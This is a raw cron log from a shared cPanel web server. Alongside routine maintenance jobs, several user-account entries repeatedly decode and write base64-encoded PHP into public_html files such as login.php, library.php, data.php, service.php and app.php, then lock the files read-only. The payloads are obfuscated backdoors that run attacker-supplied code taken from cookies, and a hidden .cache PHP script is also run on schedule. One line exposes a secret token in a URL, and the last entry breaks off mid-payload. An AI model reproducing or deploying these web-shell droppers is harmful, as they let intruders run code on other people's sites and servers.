Mar  1 12:25:02 medusa CROND[4575]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:25:02 medusa CROND[4581]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  1 12:25:02 medusa CROND[4582]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:25:02 medusa CROND[4588]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:25:02 medusa CROND[4567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:26:02 medusa CROND[26249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:26:02 medusa CROND[26250]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:26:02 medusa CROND[26252]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:26:02 medusa CROND[26254]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:26:02 medusa CROND[26257]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:26:02 medusa CROND[26258]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:26:02 medusa CROND[26264]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:26:02 medusa CROND[26266]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:26:02 medusa CROND[26265]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:26:02 medusa CROND[26269]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:26:02 medusa CROND[26272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:26:02 medusa CROND[26268]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 12:26:02 medusa CROND[26270]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:26:02 medusa CROND[26274]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:27:01 medusa CROND[16116]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:27:01 medusa CROND[16117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:27:01 medusa CROND[16118]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:27:01 medusa CROND[16119]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:27:01 medusa CROND[16120]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:27:01 medusa CROND[16121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:27:01 medusa CROND[16125]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:27:01 medusa CROND[16126]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:27:01 medusa CROND[16131]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:27:01 medusa CROND[16132]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Z